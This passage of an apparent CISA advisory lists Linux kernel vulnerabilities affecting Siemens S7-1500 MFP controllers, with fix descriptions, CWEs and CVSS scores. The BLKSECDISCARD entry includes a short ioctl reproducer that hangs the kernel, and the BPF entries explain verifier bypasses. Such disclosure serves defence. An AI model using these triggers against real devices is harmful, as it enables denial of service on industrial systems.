<p>In the Linux kernel, the following vulnerability has been resolved: fscache: delete fscache_cookie_lru_timer when fscache exits to avoid UAF The fscache_cookie_lru_timer is initialized when the fscache module is inserted, but is not deleted when the fscache module is removed. If timer_reduce() is called before removing the fscache module, the fscache_cookie_lru_timer will be added to the timer list of the current cpu. Afterwards, a use-after-free will be triggered in the softIRQ after removing the fscache module, as follows: ================================================================== BUG: unable to handle page fault for address: fffffbfff803c9e9 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 21ffea067 P4D 21ffea067 PUD 21ffe6067 PMD 110a7c067 PTE 0 Oops: Oops: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Tainted: G W 6.11.0-rc3 #855 Tainted: [W]=WARN RIP: 0010:__run_timer_base.part.0+0x254/0x8a0 Call Trace: tmigr_handle_remote_up+0x627/0x810 __walk_groups.isra.0+0x47/0x140 tmigr_handle_remote+0x1fa/0x2f0 handle_softirqs+0x180/0x590 irq_exit_rcu+0x84/0xb0 sysvec_apic_timer_interrupt+0x6e/0x90 asm_sysvec_apic_timer_interrupt+0x1a/0x20 RIP: 0010:default_idle+0xf/0x20 default_idle_call+0x38/0x60 do_idle+0x2b5/0x300 cpu_startup_entry+0x54/0x60 start_secondary+0x20d/0x280 common_startup_64+0x13e/0x148 Modules linked in: [last unloaded: netfs] ================================================================== Therefore delete fscache_cookie_lru_timer when removing the fscahe module.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-46786">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-47736</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: erofs: handle overlapped pclusters out of crafted images properly syzbot reported a task hang issue due to a deadlock case where it is waiting for the folio lock of a cached folio that will be used for cache I/Os. After looking into the crafted fuzzed image, I found it's formed with several overlapped big pclusters as below: Ext: logical offset | length : physical offset | length 0: 0.. 16384 | 16384 : 151552.. 167936 | 16384 1: 16384.. 32768 | 16384 : 155648.. 172032 | 16384 2: 32768.. 49152 | 16384 : 537223168.. 537239552 | 16384 ... Here, extent 0/1 are physically overlapped although it's entirely _impossible_ for normal filesystem images generated by mkfs. First, managed folios containing compressed data will be marked as up-to-date and then unlocked immediately (unlike in-place folios) when compressed I/Os are complete. If physical blocks are not submitted in the incremental order, there should be separate BIOs to avoid dependency issues. However, the current code mis-arranges z_erofs_fill_bio_vec() and BIO submission which causes unexpected BIO waits. Second, managed folios will be connected to their own pclusters for efficient inter-queries. However, this is somewhat hard to implement easily if overlapped big pclusters exist. Again, these only appear in fuzzed images so let's simply fall back to temporary short-lived pages for correctness. Additionally, it justifies that referenced managed folios cannot be truncated for now and reverts part of commit 2080ca1ed3e4 ("erofs: tidy up `struct z_erofs_bvec`") for simplicity although it shouldn't be any difference.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-47736">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/404.html">CWE-404 Improper Resource Shutdown or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-47809</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dlm: fix possible lkb_resource null dereference This patch fixes a possible null pointer dereference when this function is called from request_lock() as lkb-&gt;lkb_resource is not assigned yet, only after validate_lock_args() by calling attach_lkb(). Another issue is that a resource name could be a non printable bytearray and we cannot assume to be ASCII coded. The log functionality is probably never being hit when DLM is used in normal way and no debug logging is enabled. The null pointer dereference can only occur on a new created lkb that does not have the resource assigned yet, it probably never hits the null pointer dereference but we should be sure that other changes might not change this behaviour and we actually can hit the mentioned null pointer dereference. In this patch we just drop the printout of the resource name, the lkb id is enough to make a possible connection to a resource name if this exists.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-47809">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-49968</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: filesystems without casefold feature cannot be mounted with siphash When mounting the ext4 filesystem, if the default hash version is set to DX_HASH_SIPHASH but the casefold feature is not set, exit the mounting.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-49968">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-49994</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: fix integer overflow in BLKSECDISCARD I independently rediscovered commit 22d24a544b0d49bbcbd61c8c0eaf77d3c9297155 block: fix overflow in blk_ioctl_discard() but for secure erase. Same problem: uint64_t r[2] = {512, 18446744073709551104ULL}; ioctl(fd, BLKSECDISCARD, r); will enter near infinite loop inside blkdev_issue_secure_erase(): a.out: attempt to access beyond end of device loop0: rw=5, sector=3399043073, nr_sectors = 1024 limit=2048 bio_check_eod: 3286214 callbacks suppressed</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-49994">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-49998</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: dsa: improve shutdown sequence Alexander Sverdlin presents 2 problems during shutdown with the lan9303 driver. One is specific to lan9303 and the other just happens to reproduce there. The first problem is that lan9303 is unique among DSA drivers in that it calls dev_get_drvdata() at "arbitrary runtime" (not probe, not shutdown, not remove): phy_state_machine() -&gt; ... -&gt; dsa_user_phy_read() -&gt; ds-&gt;ops-&gt;phy_read() -&gt; lan9303_phy_read() -&gt; chip-&gt;ops-&gt;phy_read() -&gt; lan9303_mdio_phy_read() -&gt; dev_get_drvdata() But we never stop the phy_state_machine(), so it may continue to run after dsa_switch_shutdown(). Our common pattern in all DSA drivers is to set drvdata to NULL to suppress the remove() method that may come afterwards. But in this case it will result in an NPD. The second problem is that the way in which we set dp-&gt;conduit-&gt;dsa_ptr = NULL; is concurrent with receive packet processing. dsa_switch_rcv() checks once whether dev-&gt;dsa_ptr is NULL, but afterwards, rather than continuing to use that non-NULL value, dev-&gt;dsa_ptr is dereferenced again and again without NULL checks: dsa_conduit_find_user() and many other places. In between dereferences, there is no locking to ensure that what was valid once continues to be valid. Both problems have the common aspect that closing the conduit interface solves them. In the first case, dev_close(conduit) triggers the NETDEV_GOING_DOWN event in dsa_user_netdevice_event() which closes user ports as well. dsa_port_disable_rt() calls phylink_stop(), which synchronously stops the phylink state machine, and ds-&gt;ops-&gt;phy_read() will thus no longer call into the driver after this point. In the second case, dev_close(conduit) should do this, as per Documentation/networking/driver.rst: | Quiescence | ---------- | | After the ndo_stop routine has been called, the hardware must | not receive or transmit any data. All in flight packets must | be aborted. If necessary, poll or wait for completion of | any reset commands. So it should be sufficient to ensure that later, when we zeroize conduit-&gt;dsa_ptr, there will be no concurrent dsa_switch_rcv() call on this conduit. The addition of the netif_device_detach() function is to ensure that ioctls, rtnetlinks and ethtool requests on the user ports no longer propagate down to the driver - we're no longer prepared to handle them. The race condition actually did not exist when commit 0650bf52b31f ("net: dsa: be compatible with masters which unregister on shutdown") first introduced dsa_switch_shutdown(). It was created later, when we stopped unregistering the user interfaces from a bad spot, and we just replaced that sequence with a racy zeroization of conduit-&gt;dsa_ptr (one which doesn't ensure that the interfaces aren't up).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-49998">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50014</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix access to uninitialised lock in fc replay path The following kernel trace can be triggered with fstest generic/629 when executed against a filesystem with fast-commit feature enabled: INFO: trying to register non-static key. The code is fine but needs lockdep annotation, or maybe you didn't initialize this object before use? turning off the locking correctness validator. CPU: 0 PID: 866 Comm: mount Not tainted 6.10.0+ #11 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-3-gd478f380-prebuilt.qemu.org 04/01/2014 Call Trace: dump_stack_lvl+0x66/0x90 register_lock_class+0x759/0x7d0 __lock_acquire+0x85/0x2630 ? __find_get_block+0xb4/0x380 lock_acquire+0xd1/0x2d0 ? __ext4_journal_get_write_access+0xd5/0x160 _raw_spin_lock+0x33/0x40 ? __ext4_journal_get_write_access+0xd5/0x160 __ext4_journal_get_write_access+0xd5/0x160 ext4_reserve_inode_write+0x61/0xb0 __ext4_mark_inode_dirty+0x79/0x270 ? ext4_ext_replay_set_iblocks+0x2f8/0x450 ext4_ext_replay_set_iblocks+0x330/0x450 ext4_fc_replay+0x14c8/0x1540 ? jread+0x88/0x2e0 ? rcu_is_watching+0x11/0x40 do_one_pass+0x447/0xd00 jbd2_journal_recover+0x139/0x1b0 jbd2_journal_load+0x96/0x390 ext4_load_and_init_journal+0x253/0xd40 ext4_fill_super+0x2cc6/0x3180 ... In the replay path there's an attempt to lock sbi-&gt;s_bdev_wb_lock in function ext4_check_bdev_write_error(). Unfortunately, at this point this spinlock has not been initialized yet. Moving it's initialization to an earlier point in __ext4_fill_super() fixes this splat.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50014">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/457.html">CWE-457 Use of Uninitialized Variable</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50063</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Prevent tail call between progs attached to different hooks bpf progs can be attached to kernel functions, and the attached functions can take different parameters or return different return values. If prog attached to one kernel function tail calls prog attached to another kernel function, the ctx access or return value verification could be bypassed. For example, if prog1 is attached to func1 which takes only 1 parameter and prog2 is attached to func2 which takes two parameters. Since verifier assumes the bpf ctx passed to prog2 is constructed based on func2's prototype, verifier allows prog2 to access the second parameter from the bpf ctx passed to it. The problem is that verifier does not prevent prog1 from passing its bpf ctx to prog2 via tail call. In this case, the bpf ctx passed to prog2 is constructed from func1 instead of func2, that is, the assumption for ctx access verification is bypassed. Another example, if BPF LSM prog1 is attached to hook file_alloc_security, and BPF LSM prog2 is attached to hook bpf_lsm_audit_rule_known. Verifier knows the return value rules for these two hooks, e.g. it is legal for bpf_lsm_audit_rule_known to return positive number 1, and it is illegal for file_alloc_security to return positive number. So verifier allows prog2 to return positive number 1, but does not allow prog1 to return positive number. The problem is that verifier does not prevent prog1 from calling prog2 via tail call. In this case, prog2's return value 1 will be used as the return value for prog1's hook file_alloc_security. That is, the return value rule is bypassed. This patch adds restriction for tail call to prevent such bypasses.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50063">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/841.html">CWE-841 Improper Enforcement of Behavioral Workflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2024-50164</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix overloading of MEM_UNINIT's meaning Lonial reported an issue in the BPF verifier where check_mem_size_reg() has the following code: if (!tnum_is_const(reg-&gt;var_off)) /* For unprivileged variable accesses, disable raw * mode so that the program is required to * initialize all the memory that the helper could * just partially fill up. */ meta = NULL; This means that writes are not checked when the register containing the size of the passed buffer has not a fixed size. Through this bug, a BPF program can write to a map which is marked as read-only, for example, .rodata global maps. The problem is that MEM_UNINIT's initial meaning that "the passed buffer to the BPF helper does not need to be initialized" which was added back in commit 435faee1aae9 ("bpf, verifier: add ARG_PTR_TO_RAW_STACK type") got overloaded over time with "the passed buffer is being written to". The problem however is that checks such as the above which were added later via 06c1c049721a ("bpf: allow helpers access to variable memory") set meta to NULL in order force the user to always initialize the passed buffer to the helper. Due to the current double meaning of MEM_UNINIT, this bypasses verifier write checks to the memory (not boundary checks though) and only assumes the latter memory is read instead. Fix this by reverting MEM_UNINIT back to its original meaning, and having MEM_WRITE as an annotation to BPF helpers in order to then trigger the BPF verifier checks for writing to memory. Some notes: check_arg_pair_ok() ensures that for ARG_CONST_SIZE{,_OR_ZERO} we can access fn-&gt;arg_type[arg - 1] since it must contain a preceding ARG_PTR_TO_MEM. For check_mem_reg() the meta argument can be removed altogether since we do check both BPF_READ and BPF_WRITE. Same for the equivalent check_kfunc_mem_size_reg().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2024-50164">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
